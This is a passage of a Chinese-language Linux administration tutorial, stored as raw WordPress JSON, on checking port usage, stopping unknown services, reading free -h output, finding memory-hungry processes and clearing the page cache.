\u7aef\u53e3\u88ab\u672a\u77e5\u670d\u52a1\u5360\u7528&#xff0c;\u5982\u4f55\u6392\u67e5&#xff1f;<\/h5>\n<li>\n<p>\u67e5\u770b\u76d1\u542c 8080 \u7aef\u53e3\u7684\u670d\u52a1&#xff1a;<\/p>\n<p> ss -tulnp | grep &#039;:8080&#039;<br \/>\n# \u8f93\u51fa&#xff1a;users:((&#034;mystery&#034;,pid&#061;9999,fd&#061;3))  <\/li>\n<li>\n<p>\u6839\u636e PID \u67e5\u627e\u670d\u52a1\u540d&#xff1a;<\/p>\n<p> ps -p 9999 -o comm&#061;<br \/>\n# \u8f93\u51fa&#xff1a;mystery-service  <\/li>\n<li>\n<p>\u505c\u6b62\u5e76\u7981\u7528\u8be5\u670d\u52a1&#xff1a;<\/p>\n<p> sudo systemctl stop mystery-service<br \/>\nsudo systemctl disable mystery-service  <\/li>\n<hr \/>\n<h4>\u4e94\u3001\u603b\u7ed3<\/h4>\n<ul>\n<li>\n<p>\u5b9a\u671f\u68c0\u67e5\u670d\u52a1&#xff1a;\u5173\u95ed\u4e0d\u5fc5\u8981\u7684\u670d\u52a1&#xff0c;\u8282\u7701\u8d44\u6e90\u3001\u63d0\u5347\u5b89\u5168\u3002<\/p>\n<\/li>\n<li>\n<p>\u91cd\u70b9\u5173\u6ce8&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u964c\u751f\u670d\u52a1&#xff08;\u53ef\u80fd\u662f\u6076\u610f\u8f6f\u4ef6&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u76d1\u542c\u5728\u516c\u7f51 IP \u7684\u670d\u52a1&#xff08;\u5982\u00a00.0.0.0:3306\u00a0\u53ef\u80fd\u66b4\u9732\u6570\u636e\u5e93&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u5de5\u5177\u9009\u62e9&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u5feb\u901f\u6982\u89c8\u7528\u00a0systemctl&#xff0c;\u7f51\u7edc\u5206\u6790\u7528\u00a0ss&#xff0c;\u6df1\u5ea6\u6392\u67e5\u7528\u00a0lsof\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>\u638c\u63e1\u8fd9\u4e9b\u547d\u4ee4&#xff0c;\u4f60\u5c31\u80fd\u50cf\u201c\u670d\u52a1\u5668\u533b\u751f\u201d\u4e00\u6837&#xff0c;\u968f\u65f6\u8bca\u65ad\u670d\u52a1\u7684\u5065\u5eb7\u72b6\u6001&#xff01; &#x1fa7a;<\/p>\n<\/p>\n<h2 id=\"evaluating-available-memory\" style=\"margin-left:.625rem;margin-right:0;text-align:start\"><span style=\"color:var(--tw-prose-headings)\"><span style=\"background-color:#ffffff\">\u8bc4\u4f30\u53ef\u7528\u5185\u5b58<\/span><\/span><\/h2>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u5728 Linux \u73af\u5883\u4e2d\u8fd0\u884c\u591a\u4e2a\u5e94\u7528\u7a0b\u5e8f\u65f6&#xff0c;\u6301\u7eed\u8ddf\u8e2a\u7cfb\u7edf\u8fd0\u884c\u72b6\u51b5\u5bf9\u4e8e\u5e73\u7a33\u8fd0\u884c\u81f3\u5173\u91cd\u8981\u3002\u5728\u670d\u52a1\u5668\u68c0\u67e5\u8fc7\u7a0b\u4e2d\u8bc4\u4f30\u53ef\u7528\u5185\u5b58\u662f\u7cfb\u7edf\u7ba1\u7406\u5458\u7684\u5e38\u89c1\u505a\u6cd5\u3002\u8fd9\u6d89\u53ca\u4f7f\u7528 Linux \u63d0\u4f9b\u7684\u5404\u79cd\u547d\u4ee4\u884c\u5de5\u5177&#xff0c;\u4f8b\u5982 \u3001 \u548c \u3002\u8fd9\u4e9b\u53ef\u4ee5\u5e2e\u52a9\u76d1\u63a7\u5185\u5b58\u4f7f\u7528\u60c5\u51b5\u548c\u6027\u80fd\u6307\u6807&#xff0c;\u786e\u4fdd\u7cfb\u7edf\u4e0d\u4f1a\u8fc7\u8f7d&#xff0c;\u5e76\u4e3a\u91cd\u8981\u5e94\u7528\u7a0b\u5e8f\u63d0\u4f9b\u8db3\u591f\u7684\u8d44\u6e90\u3002freevmstattop<\/span><\/span><\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u4f8b\u5982&#xff0c;\u8be5\u547d\u4ee4\u7ed9\u51fa\u4e86\u603b\u4f53\u5185\u5b58\u4f7f\u7528\u60c5\u51b5\u7684\u6458\u8981&#xff0c;\u5305\u62ec\u603b\u5df2\u7528\u5185\u5b58\u548c\u53ef\u7528\u5185\u5b58\u3001\u4ea4\u6362\u5185\u5b58\u548c\u7f13\u51b2\u533a\/\u7f13\u5b58\u5185\u5b58\u3002\u4e0b\u9762\u662f\u4e00\u4e2a\u793a\u4f8b&#xff1a;free<\/span><\/span><\/p>\n<p>$ free -h<br \/>\n              total        used        free      shared  buff\/cache   available<br \/>\nMem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi<br \/>\nSwap:         8.0Gi       1.3Gi       6.7Gi <\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\"><span style=\"color:#374151\"><span style=\"background-color:#ffffff\">\u5728\u6b64\u8f93\u51fa\u4e2d&#xff0c;&#039;-h&#039; \u9009\u9879\u7528\u4e8e\u4ee5\u4eba\u7c7b\u53ef\u8bfb\u7684\u683c\u5f0f\u663e\u793a\u7ed3\u679c\u3002\u4e86\u89e3 Linux \u670d\u52a1\u5668\u4e2d\u7684\u5185\u5b58\u4f7f\u7528\u72b6\u6001\u6709\u52a9\u4e8e\u4fdd\u6301\u6700\u4f73\u670d\u52a1\u5668\u6027\u80fd\u5e76\u89e3\u51b3\u4efb\u4f55\u6f5c\u5728\u95ee\u9898<\/span><\/span><\/p>\n<p style=\"margin-left:.5rem;margin-right:0;text-align:start\">\n<p>free\u00a0\u662f Linux \u4e2d\u4e00\u4e2a\u67e5\u770b\u5185\u5b58\u4f7f\u7528\u60c5\u51b5\u7684\u547d\u4ee4&#xff0c;\u53ef\u4ee5\u7b80\u5355\u7406\u89e3\u4e3a\u201c\u5185\u5b58\u4f53\u68c0\u62a5\u544a\u201d\u3002\u5b83\u80fd\u544a\u8bc9\u4f60&#xff1a; \u5185\u5b58\u8fd8\u5269\u591a\u5c11&#xff1f;\u88ab\u8c01\u7528\u4e86&#xff1f;\u662f\u5426\u5feb\u7528\u5149\u4e86&#xff1f; \u5c31\u50cf\u624b\u673a\u91cc\u7684\u201c\u5b58\u50a8\u7a7a\u95f4\u201d\u529f\u80fd&#xff0c;\u5e2e\u4f60\u5224\u65ad\u662f\u5426\u9700\u8981\u6e05\u7406\u5783\u573e\u6216\u5347\u7ea7\u786c\u4ef6&#xff01;<\/p>\n<hr \/>\n<h4>\u7528\u00a0free -h\u00a0\u770b\u5185\u5b58&#xff08;\u4eba\u7c7b\u53cb\u597d\u6a21\u5f0f&#xff09;<\/h4>\n<\/p>\n<p>$ free -h<br \/>\n              total        used        free      shared  buff\/cache   available<br \/>\nMem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi<br \/>\nSwap:         8.0Gi       1.3Gi       6.7Gi <\/p>\n<h5>\u901a\u4fd7\u89e3\u91ca\u5404\u90e8\u5206\u542b\u4e49&#xff1a;<\/h5>\n<li>\n<p>Mem&#xff08;\u7269\u7406\u5185\u5b58&#xff09;&#xff1a;<\/p>\n<ul>\n<li>\n<p>total&#xff08;\u603b\u5185\u5b58&#xff09;&#xff1a;15Gi \u2192 \u670d\u52a1\u5668\u88c5\u4e86\u00a015G \u5185\u5b58\u6761\u3002<\/p>\n<\/li>\n<li>\n<p>used&#xff08;\u5df2\u7528&#xff09;&#xff1a;10Gi \u2192\u00a0\u88ab\u7a0b\u5e8f\u76f4\u63a5\u5403\u6389\u7684\u5185\u5b58&#xff08;\u5982\u8fd0\u884c\u4e2d\u7684\u7f51\u7ad9\u3001\u6570\u636e\u5e93&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>free&#xff08;\u7a7a\u95f2&#xff09;&#xff1a;256Mi \u2192\u00a0\u5b8c\u5168\u6ca1\u88ab\u4f7f\u7528\u7684\u5185\u5b58&#xff08;\u770b\u7740\u5c11&#xff0c;\u4f46\u522b\u614c&#xff01;&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>buff\/cache&#xff08;\u7f13\u5b58&#xff09;&#xff1a;5.3Gi \u2192\u00a0\u7cfb\u7edf\u501f\u6765\u5f53\u4e34\u65f6\u4ed3\u5e93\u7684\u5185\u5b58&#xff08;\u5b58\u78c1\u76d8\u8bfb\u5199\u6570\u636e&#xff0c;\u4e0d\u591f\u65f6\u53ef\u5feb\u901f\u91ca\u653e&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>available&#xff08;\u5b9e\u9645\u53ef\u7528&#xff09;&#xff1a;4.2Gi \u2192\u00a0\u771f\u6b63\u8fd8\u80fd\u7528\u7684\u5185\u5b58\u00a0\u2248 free &#043; buff\/cache \u53ef\u91ca\u653e\u90e8\u5206\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>Swap&#xff08;\u4ea4\u6362\u5185\u5b58&#xff09;&#xff1a;<\/p>\n<ul>\n<li>\n<p>total&#xff1a;8Gi \u2192\u00a0\u786c\u76d8\u4e0a\u5212\u51fa\u7684\u865a\u62df\u5185\u5b58&#xff08;\u901f\u5ea6\u6162&#xff0c;\u5e94\u6025\u7528&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>used&#xff1a;1.3Gi \u2192\u00a0\u6b63\u5728\u4f7f\u7528\u7684\u865a\u62df\u5185\u5b58&#xff08;\u5982\u679c\u8fd9\u4e2a\u503c\u6301\u7eed\u5f88\u9ad8&#xff0c;\u8bf4\u660e\u7269\u7406\u5185\u5b58\u4e0d\u8db3\u4e86&#xff01;&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<hr \/>\n<h4>\u5982\u4f55\u5224\u65ad\u5185\u5b58\u662f\u5426\u591f\u7528&#xff1f;<\/h4>\n<li>\n<p>\u91cd\u70b9\u770b\u00a0available\u00a0\u5217&#xff1a;<\/p>\n<ul>\n<li>\n<p>4.2Gi\u00a0\u8868\u793a\u5f53\u524d\u8fd8\u80fd\u652f\u6491\u65b0\u7a0b\u5e8f\u8fd0\u884c\u7684\u5185\u5b58\u3002<\/p>\n<\/li>\n<li>\n<p>\u5982\u679c\u00a0available\u00a0\u63a5\u8fd1\u00a00&#xff0c;\u8bf4\u660e\u5185\u5b58\u5feb\u8017\u5c3d\u4e86&#xff0c;\u670d\u52a1\u5668\u53ef\u80fd\u4f1a\u5361\u987f\u751a\u81f3\u5d29\u6e83&#xff01;<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>Swap \u4f7f\u7528\u60c5\u51b5&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u5c11\u91cf\u4f7f\u7528 Swap&#xff08;\u5982 10% \u4ee5\u5185&#xff09;\u662f\u6b63\u5e38\u7684\u3002<\/p>\n<\/li>\n<li>\n<p>Swap \u4f7f\u7528\u91cf\u6301\u7eed\u589e\u957f\u00a0\u2192 \u7269\u7406\u5185\u5b58\u4e0d\u8db3&#xff0c;\u9700\u4f18\u5316\u7a0b\u5e8f\u6216\u52a0\u5185\u5b58\u6761&#xff01;<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<hr \/>\n<h4>\u4e0b\u4e00\u6b65\u64cd\u4f5c\u5efa\u8bae<\/h4>\n<\/p>\n<p>\u2705 \u4f5c\u7528&#xff1a;<\/p>\n<\/p>\n<p>&#x1f4cc; \u793a\u4f8b\u8f93\u51fa&#xff08;\u90e8\u5206\u5b57\u6bb5\u89e3\u91ca&#xff09;<\/p>\n<p>plaintext<\/p>\n<p>\u590d\u5236\u7f16\u8f91<\/p>\n<p>USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 164456 9624 ? Ss 10:00 0:01 systemd www-data 1345 1.2 10.3 409600 84032 ? S 10:05 3:42 apache2 mysql 2345 5.3 18.2 204800 150832 ? Ssl 10:06 10:15 mysqld <\/p>\n<table>\n<tr>\u5b57\u6bb5\u542b\u4e49<\/tr>\n<tbody>\n<tr>\n<td>USER<\/td>\n<td>\u8fdb\u7a0b\u6240\u5c5e\u7528\u6237<\/td>\n<\/tr>\n<tr>\n<td>PID<\/td>\n<td>\u8fdb\u7a0b ID<\/td>\n<\/tr>\n<tr>\n<td>%CPU<\/td>\n<td>CPU \u5360\u7528\u7387<\/td>\n<\/tr>\n<tr>\n<td>%MEM<\/td>\n<td>\u5185\u5b58\u5360\u7528\u7387<\/td>\n<\/tr>\n<tr>\n<td>VSZ<\/td>\n<td>\u8fdb\u7a0b\u5360\u7528\u7684\u865a\u62df\u5185\u5b58&#xff08;KB&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>RSS<\/td>\n<td>\u8fdb\u7a0b\u5360\u7528\u7684\u7269\u7406\u5185\u5b58&#xff08;KB&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>TTY<\/td>\n<td>\u7ec8\u7aef\u8bbe\u5907<\/td>\n<\/tr>\n<tr>\n<td>STAT<\/td>\n<td>\u8fdb\u7a0b\u72b6\u6001<\/td>\n<\/tr>\n<tr>\n<td>START<\/td>\n<td>\u8fdb\u7a0b\u542f\u52a8\u65f6\u95f4<\/td>\n<\/tr>\n<tr>\n<td>TIME<\/td>\n<td>\u8fdb\u7a0b\u7d2f\u8ba1 CPU \u4f7f\u7528\u65f6\u95f4<\/td>\n<\/tr>\n<tr>\n<td>COMMAND<\/td>\n<td>\u8fdb\u7a0b\u7684\u547d\u4ee4<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<hr \/>\n<h3>&#x1f539; 2\ufe0f\u20e3 &#8211;sort&#061;-%mem \u2014\u2014 \u6309\u5185\u5b58\u4f7f\u7528\u7387\u964d\u5e8f\u6392\u5e8f<\/h3>\n<p>sh<\/p>\n<p>\u590d\u5236\u7f16\u8f91<\/p>\n<p>&#8211;sort&#061;-%mem <\/p>\n<\/p>\n<li>\n<p>\u91ca\u653e\u7f13\u5b58&#xff08;\u4e34\u65f6\u6551\u6025&#xff09;&#xff1a;<\/p>\n<p> sync &amp;&amp; echo 3 | sudo tee \/proc\/sys\/vm\/drop_caches  # \u6e05\u7406\u7f13\u5b58&#xff08;\u4e0d\u5f71\u54cd\u7a0b\u5e8f\u8fd0\u884c&#xff09; &#x1f4cc; sync &amp;&amp; echo 3 | sudo tee \/proc\/sys\/vm\/drop_caches \u8be6\u89e3<br \/>\n\u8be5\u547d\u4ee4\u7528\u4e8e\u6e05\u7406 Linux \u7cfb\u7edf\u7684\u7f13\u5b58&#xff0c;\u4f46\u4e0d\u4f1a\u5f71\u54cd\u6b63\u5728\u8fd0\u884c\u7684\u7a0b\u5e8f\u3002<\/p>\n<p>&#x1f539; 1\ufe0f\u20e3 sync \u2014\u2014 \u786e\u4fdd\u6570\u636e\u5199\u5165\u78c1\u76d8<br \/>\n\u2705 \u4f5c\u7528&#xff1a;sync \u547d\u4ee4\u4f1a\u5f3a\u5236\u5c06\u6240\u6709\u5f85\u5199\u5165\u78c1\u76d8\u7684\u6570\u636e&#xff08;\u7f13\u5b58\u4e2d\u7684\u6570\u636e&#xff09;\u771f\u6b63\u5199\u5165\u78c1\u76d8&#xff0c;\u786e\u4fdd\u6570\u636e\u4e0d\u4f1a\u56e0\u4e3a\u6e05\u7406\u7f13\u5b58\u800c\u4e22\u5931\u3002<\/p>\n<p>&#x1f539; 2\ufe0f\u20e3 echo 3 \u2014\u2014 \u751f\u6210\u7f13\u5b58\u6e05\u7406\u6307\u4ee4<br \/>\n\u2705 \u4f5c\u7528&#xff1a;echo \u547d\u4ee4\u7528\u4e8e\u8f93\u51fa 3&#xff0c;\u8fd9\u91cc 3 \u662f\u4e00\u4e2a\u6307\u4ee4\u53c2\u6570&#xff0c;\u7528\u4e8e\u901a\u77e5 Linux \u6e05\u9664\u6240\u6709\u7c7b\u578b\u7684\u7f13\u5b58\u3002<\/p>\n<p>\u6570\u503c\u4f5c\u7528<br \/>\n1\u53ea\u6e05\u9664 \u9875\u7f13\u5b58&#xff08;Page Cache&#xff09;<br \/>\n2\u53ea\u6e05\u9664 \u76ee\u5f55\u9879\u548c inode \u7f13\u5b58<br \/>\n3\u6e05\u9664\u6240\u6709\u7f13\u5b58&#xff08;\u63a8\u8350\u4f7f\u7528&#xff09;<\/p>\n<p>&#x1f539; 3\ufe0f\u20e3 |&#xff08;\u7ba1\u9053&#xff09;\u2014\u2014 \u8fde\u63a5 echo \u548c tee<br \/>\necho 3 | sudo tee \/proc\/sys\/vm\/drop_caches<br \/>\n\u2705 \u4f5c\u7528&#xff1a;<br \/>\necho 3 \u751f\u6210\u6307\u4ee4<br \/>\n| \u7ba1\u9053\u7b26&#xff1a;\u5c06 echo 3 \u7684\u8f93\u51fa\u4f20\u9012\u7ed9 tee \u547d\u4ee4<\/p>\n<p>&#x1f539; 4\ufe0f\u20e3 sudo tee \/proc\/sys\/vm\/drop_caches \u2014\u2014 \u6267\u884c\u7f13\u5b58\u6e05\u7406<br \/>\nsudo tee \/proc\/sys\/vm\/drop_caches<br \/>\n\u2705 \u4f5c\u7528&#xff1a;<br \/>\nsudo \u2014\u2014 \u4ee5 \u8d85\u7ea7\u7528\u6237\u6743\u9650 \u6267\u884c&#xff08;\u666e\u901a\u7528\u6237\u65e0\u6743\u4fee\u6539 \/proc\/sys\/vm\/drop_caches&#xff09;\u3002<br \/>\ntee \u2014\u2014 \u65e2\u8f93\u51fa\u5185\u5bb9\u5230\u7ec8\u7aef&#xff0c;\u4e5f\u5199\u5165\u6587\u4ef6&#xff1a;<br \/>\n\/proc\/sys\/vm\/drop_caches \u662f Linux \u5185\u6838\u53c2\u6570\u6587\u4ef6&#xff0c;\u5199\u5165 3 \u4e4b\u540e&#xff0c;\u7cfb\u7edf\u4f1a\u6267\u884c\u7f13\u5b58\u6e05\u7406\u3002<br \/>\ntee \u4f5c\u7528\u7c7b\u4f3c\u4e8e &gt;&#xff0c;\u4f46\u53ef\u4ee5\u540c\u65f6\u663e\u793a\u548c\u5199\u5165\u6587\u4ef6&#xff0c;&gt; \u76f4\u63a5\u5199\u5165\u800c\u4e0d\u663e\u793a\u3002<\/p>\n<p>&#x1f539; 5\ufe0f\u20e3 sync &amp;&amp; echo 3 | sudo tee \/proc\/sys\/vm\/drop_caches \u603b\u7ed3<br \/>\n\u2705 \u5b8c\u6574\u6d41\u7a0b&#xff1a;<br \/>\nsync \u786e\u4fdd\u6240\u6709\u6570\u636e\u5199\u5165\u78c1\u76d8&#xff0c;\u9632\u6b62\u672a\u4fdd\u5b58\u6570\u636e\u4e22\u5931\u3002<br \/>\necho 3 \u751f\u6210\u6e05\u7406\u6307\u4ee4\u3002<br \/>\n| \u628a\u6307\u4ee4\u4f20\u9012\u7ed9 tee\u3002<br \/>\nsudo tee \/proc\/sys\/vm\/drop_caches \u6e05\u7406\u6240\u6709\u7f13\u5b58\u3002<\/p>\n<p>&#x1f539; 6\ufe0f\u20e3 \u6ce8\u610f\u4e8b\u9879<br \/>\n&#x1f4cc; \u4e0d\u4f1a\u5f71\u54cd\u6b63\u5728\u8fd0\u884c\u7684\u7a0b\u5e8f&#xff1a;<br \/>\n\u8be5\u547d\u4ee4\u4ec5\u6e05\u7406\u7f13\u5b58&#xff0c;\u4e0d\u4f1a\u5f71\u54cd\u5e94\u7528\u7a0b\u5e8f\u7684\u6b63\u5e38\u8fd0\u884c\u3002<br \/>\n\u6e05\u7406\u7f13\u5b58\u540e&#xff0c;\u7cfb\u7edf\u53ef\u80fd\u4f1a\u53d8\u6162&#xff0c;\u56e0\u4e3a\u9700\u8981\u91cd\u65b0\u52a0\u8f7d\u6570\u636e\u5230\u7f13\u5b58\u3002<\/p>\n<p>&#x1f4cc; \u9002\u7528\u4e8e\u54ea\u4e9b\u573a\u666f&#xff1f;<br \/>\n\u91ca\u653e\u5185\u5b58&#xff1a;\u5982\u679c Linux \u7cfb\u7edf\u957f\u65f6\u95f4\u8fd0\u884c&#xff0c;\u5360\u7528\u5927\u91cf\u7f13\u5b58&#xff0c;\u53ef\u4ee5\u624b\u52a8\u91ca\u653e\u7f13\u5b58\u3002<br \/>\n\u6d4b\u8bd5\u6027\u80fd&#xff1a;\u5728\u8fdb\u884c\u6027\u80fd\u6d4b\u8bd5\u65f6&#xff0c;\u5e0c\u671b\u5f97\u5230\u4e0d\u53d7\u7f13\u5b58\u5f71\u54cd\u7684\u7ed3\u679c\u3002<br \/>\n\u67e5\u770b\u771f\u5b9e\u7684\u53ef\u7528\u5185\u5b58&#xff1a;\u7f13\u5b58\u5360\u7528\u5185\u5b58\u65f6&#xff0c;\u53ef\u91ca\u653e\u540e\u67e5\u770b\u771f\u5b9e\u7684\u7a7a\u95f2\u5185\u5b58\u3002<\/p>\n<p>&#x1f539; 7\ufe0f\u20e3 \u6269\u5c55&#xff1a;\u5982\u4f55\u9a8c\u8bc1\u7f13\u5b58\u6e05\u7406&#xff1f;<br \/>\n&#x1f4cc; \u6e05\u7406\u7f13\u5b58\u524d\u540e&#xff0c;\u67e5\u770b\u5185\u5b58\u5360\u7528<br \/>\nfree -h    # \u67e5\u770b\u5185\u5b58\u4f7f\u7528\u60c5\u51b5<br \/>\nsync &amp;&amp; echo 3 | sudo tee \/proc\/sys\/vm\/drop_caches<br \/>\nfree -h    # \u518d\u6b21\u67e5\u770b\u53d8\u5316<br \/>\n&#x1f539; \u6e05\u7406\u524d&#xff1a;cached \u90e8\u5206\u8f83\u9ad8<br \/>\n&#x1f539; \u6e05\u7406\u540e&#xff1a;cached \u53d8\u5c11&#xff0c;free \u53d8\u591a \u2705<\/p>\n<p>&#x1f539; 8\ufe0f\u20e3 \u66f4\u5b89\u5168\u7684\u5199\u6cd5<br \/>\n\u4e3a\u4e86\u9632\u6b62\u9519\u8bef&#xff0c;\u53ef\u4ee5\u4f7f\u7528\u66f4\u5b89\u5168\u7684\u65b9\u6cd5&#xff1a;<br \/>\nsudo sh -c &#034;echo 3 &gt; \/proc\/sys\/vm\/drop_caches&#034;<br \/>\n\u2705 \u533a\u522b&#xff1a;<\/p>\n<p>sudo \u53ea\u5f71\u54cd sh -c \u91cc\u7684 echo&#xff0c;\u907f\u514d tee \u989d\u5916\u6743\u9650\u95ee\u9898\u3002<br \/>\n&#x1f539; 9\ufe0f\u20e3 \u603b\u7ed3<br \/>\n\u547d\u4ee4\u90e8\u5206\u4f5c\u7528<br \/>\nsync\u5c06\u7f13\u5b58\u6570\u636e\u5199\u5165\u78c1\u76d8&#xff0c;\u9632\u6b62\u6570\u636e\u4e22\u5931<br \/>\necho 3\u751f\u6210\u6e05\u7406\u6307\u4ee4&#xff08;3 \u4ee3\u8868\u6e05\u7406\u6240\u6709\u7f13\u5b58&#xff09;<br \/>\n&#096;&#096;<br \/>\nsudo tee \/proc\/sys\/vm\/drop_caches\u6267\u884c\u7f13\u5b58\u6e05\u7406&#xff0c;\u91ca\u653e\u5185\u5b58<br \/>\n&#x1f4a1; \u8fd9\u4e2a\u547d\u4ee4\u9002\u7528\u4e8e\u624b\u52a8\u91ca\u653e\u7f13\u5b58&#xff0c;\u7279\u522b\u662f\u5728\u957f\u65f6\u95f4\u8fd0\u884c\u7684 Linux \u670d\u52a1\u5668\u4e0a\u3002  <\/p>\n<\/li>\n<li>\n<p>\u63ea\u51fa\u201c\u5185\u5b58\u5927\u6237\u201d&#xff1a;<\/p>\n<p> top               # \u6309 M \u6309\u5185\u5b58\u6392\u5e8f&#xff08;\u627e\u5360\u7528\u9ad8\u7684\u8fdb\u7a0b&#xff09;<br \/>\nhtop              # \u66f4\u53cb\u597d\u7684\u754c\u9762&#xff08;\u9700\u5b89\u88c5&#xff09;<br \/>\nps aux &#8211;sort&#061;-%mem | head  # \u5217\u51fa\u524d10\u5185\u5b58\u6d88\u8017\u8fdb\u7a0b <\/li>\n<p>ps (Process Status&#xff0c;\u8fdb\u7a0b\u72b6\u6001) \u662f Linux \u7528\u4e8e\u67e5\u770b\u8fdb\u7a0b\u4fe1\u606f\u7684\u547d\u4ee4\u3002<br \/>\naux \u9009\u9879\u7ec4\u5408&#xff1a;<br \/>\na (All Users) \u2192 \u663e\u793a\u6240\u6709\u7528\u6237\u7684\u8fdb\u7a0b&#xff08;\u4e0d\u4ec5\u9650\u4e8e\u5f53\u524d\u7528\u6237&#xff09;\u3002<br \/>\nu (User Format) \u2192 \u4ee5\u7528\u6237\u53cb\u597d\u7684\u683c\u5f0f\u663e\u793a&#xff0c;\u5305\u62ec CPU\u3001\u5185\u5b58\u3001\u8fdb\u7a0b\u540d\u7b49\u4fe1\u606f\u3002<br \/>\nx (Including Daemons) \u2192 \u663e\u793a\u65e0\u7ec8\u7aef\u63a7\u5236\u7684\u8fdb\u7a0b&#xff08;\u5982\u540e\u53f0\u670d\u52a1&#xff09;\u3002<br \/>\n&#8211;sort&#061;-%mem&#xff1a;\u6309 %MEM \u5b57\u6bb5&#xff08;\u5185\u5b58\u5360\u7528&#xff09;\u964d\u5e8f\u6392\u5e8f&#xff08;\u4ece\u9ad8\u5230\u4f4e&#xff09;\u3002<br \/>\n&#8211; \u53f7\u8868\u793a\u964d\u5e8f&#xff08;\u4e0d\u52a0 &#8211; \u53f7\u5219\u662f\u5347\u5e8f&#xff09;\u3002<br \/>\n\u957f\u671f\u4f18\u5316&#xff1a;<\/p>\n<p>\u5173\u95ed\u4e0d\u9700\u8981\u7684\u670d\u52a1&#xff08;\u5982\u591a\u4f59\u5bb9\u5668\u3001\u6d4b\u8bd5\u73af\u5883&#xff09;\u3002<\/p>\n<p>\u4f18\u5316\u7a0b\u5e8f\u5185\u5b58\u6cc4\u6f0f&#xff08;\u5982 Java \u7684\u5806\u5185\u5b58\u8bbe\u7f6e&#xff09;\u3002<\/p>\n<p>\u5347\u7ea7\u7269\u7406\u5185\u5b58&#xff08;\u7b80\u5355\u7c97\u66b4\u4f46\u6709\u6548&#xff09;\u3002 <\/p>\n<h4 style=\"background-color:transparent\"><\/h4>\n<p>\u573a\u666f&#xff1a;available\u00a0\u53ea\u5269 500MB&#xff0c;Swap \u7528\u4e86 6Gi\u3002 \u5206\u6790&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u7269\u7406\u5185\u5b58\u4e25\u91cd\u4e0d\u8db3&#xff0c;\u7cfb\u7edf\u9891\u7e41\u4f7f\u7528 Swap&#xff08;\u901f\u5ea6\u6162&#xff0c;\u6027\u80fd\u5dee&#xff09;\u3002 \u89e3\u51b3&#xff1a;<\/p>\n<\/li>\n<\/ul>\n<li>\n<p>\u7528\u00a0top\u00a0\u53d1\u73b0\u4e00\u4e2a\u00a0java\u00a0\u8fdb\u7a0b\u5360\u7528\u4e86 8Gi \u5185\u5b58\u3002<\/p>\n<\/li>\n<li>\n<p>\u8054\u7cfb\u5f00\u53d1\u56e2\u961f\u4f18\u5316\u4ee3\u7801\u6216\u8c03\u6574 JVM \u5185\u5b58\u53c2\u6570\u3002<\/p>\n<\/li>\n<li>\n<p>\u4e34\u65f6\u91cd\u542f\u8be5\u670d\u52a1\u91ca\u653e\u5185\u5b58&#xff0c;\u957f\u671f\u8ba1\u5212\u52a0\u5185\u5b58\u6761\u3002<\/p>\n<\/li>\n<hr \/>\n<p>\u901a\u8fc7\u00a0free -h&#xff0c;\u4f60\u5c31\u50cf\u7ed9\u670d\u52a1\u5668\u505a\u4e86\u4e2a\u201c\u8840\u5e38\u89c4\u201d&#xff0c;\u4e00\u773c\u770b\u51fa\u5185\u5b58\u5065\u5eb7\u72b6\u6001&#xff01; &#x1fa7a;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb951\u6b21\uff0c\u70b9\u8d5e16\u6b21\uff0c\u6536\u85cf30\u6b21\u3002\u5173\u95ed\u4e0d\u5fc5\u8981\u7684\u670d\u52a1\uff0c\u8282\u7701\u8d44\u6e90\u3001\u63d0\u5347\u5b89\u5168\u3002<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[58,371,43],"topic":[],"class_list":["post-17031","post","type-post","status-publish","format-standard","hentry","category-server","tag-linux","tag-371","tag-43"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>linux\u5b66\u4e60(\u4e94)(\u670d\u52a1\u5668\u5ba1\u67e5,\u6b63\u5e38\u8fd0\u884c\u65f6\u95f4\u8d1f\u8f7d,\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7,\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1,\u8bc4\u4f30\u53ef\u7528\u5185\u5b58) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/17031.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" 